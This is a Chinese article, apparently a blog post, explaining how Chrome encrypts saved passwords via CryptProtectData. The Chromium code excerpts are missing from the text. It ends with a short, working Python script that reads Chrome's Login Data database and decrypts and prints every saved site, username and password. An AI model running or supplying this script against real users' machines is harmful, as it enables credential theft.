chrome浏览器是如何存储密码的

Chrome浏览器


获得密码难易程度:简单


我们从Chrome浏览器开始。令人失望的是,chrome浏览器是最容易被提取密码的。加密后的密钥存储于%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data"下的一个SQLite数据库中。但是是如何获转存并加密的呢?我从《谷歌Chrome浏览器是如何存储密码的》这篇文章中获得了Chrome存储密码的诸多信息,而这篇文章是4年前写得。虽然从那篇文章以后Chrome做了些改变,但是我将按照同样的方式,利用Chromium源码的一些片段向你展示密码是如何转储的。


存储加密密码

当用户访问网站时,Chrome会首先判断此次登陆是否是一次成功的登录,判断代码片段:




如果成功登录,并且使用的是一套新的证书,这个证书是浏览器之前没有生成过的,Chrome就会生成一个提示条,询问用户是否需要记住密码:




在此为节省篇幅,我省略了创建提示条的代码。当点击“保存密码”时,就会调用Chrome密码管理器的“保存”函数来响应操作:




简单吧。如果是一次新的会话登录,就以如下代码执行保存:




再次为控制篇幅,裁剪了一些内容(例如一个对证书是否属于google的网站的操作审查等等)。在这函数被调用之后,执行AddLoginImpl()函数的任务被调用。这是用来使界面快速响应的:




该函数会调用登陆数据库对象的AddLogin()函数,以检查其操作是否成功。下面就是AddLogin()(我保证,我们马上就要看到密码是如何存储的了):




这里有些有趣的东西。我们利用用户密码生成一个字符串密钥。这段代码已经减掉了,但是”sql:Statement”行下面,执行了一个SQL查询语句,实现了在登录数据文件中存储加密数据。该EncryptedString函数仅仅是在一个加密对象上简单调用了EncryptString16函数(就是下面这个):




最终,我们看到密码是调用Windows API函数CryptProtectData来加密的。这意味着,只有用加密时使用的登陆证书,密码才能被恢复。而这根本不是问题,恶意软件通常就是在用户登陆环境下执行的。


密码破译

在讨论如何破译上面存储的密码之前,让我们首先使用Sqlite浏览器来查看一下登陆文件中的数据:




我们的目的是从这个数据库中抽取出action_url,username_value和password_value(是二进制数据,所以SQLite浏览器不能显示)。而破解密码,只需要调用Windows API中的CryptUnprotectData函数。幸运地是,Python为调用Windows API准备了一个完美的叫做pywin32的库。


先看一下我们使用的PoC:


from os import getenv

import sqlite3

import win32crypt

 

# Connect to the Database

conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")

cursor = conn.cursor()

# Get the results

cursor.execute('SELECT action_url, username_value, password_value FROM logins')

for result in cursor.fetchall():

 

# Decrypt the Password

    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]

    if password:

        print 'Site: ' + result[0]

        print 'Username: ' + result[1]

        print 'Password: ' + password

运行上述代码,可以看到已经成功了!




虽然找到密码是如何存储的有点费事(也可以使用其他的动态方法,但是分析代码会更透彻),但是解密密码则几乎没费什么力气。唯一被保护起来的就是密码的部分,还仅仅保护当前用户。


你可能感兴趣的:(Chrome浏览器,存储密码)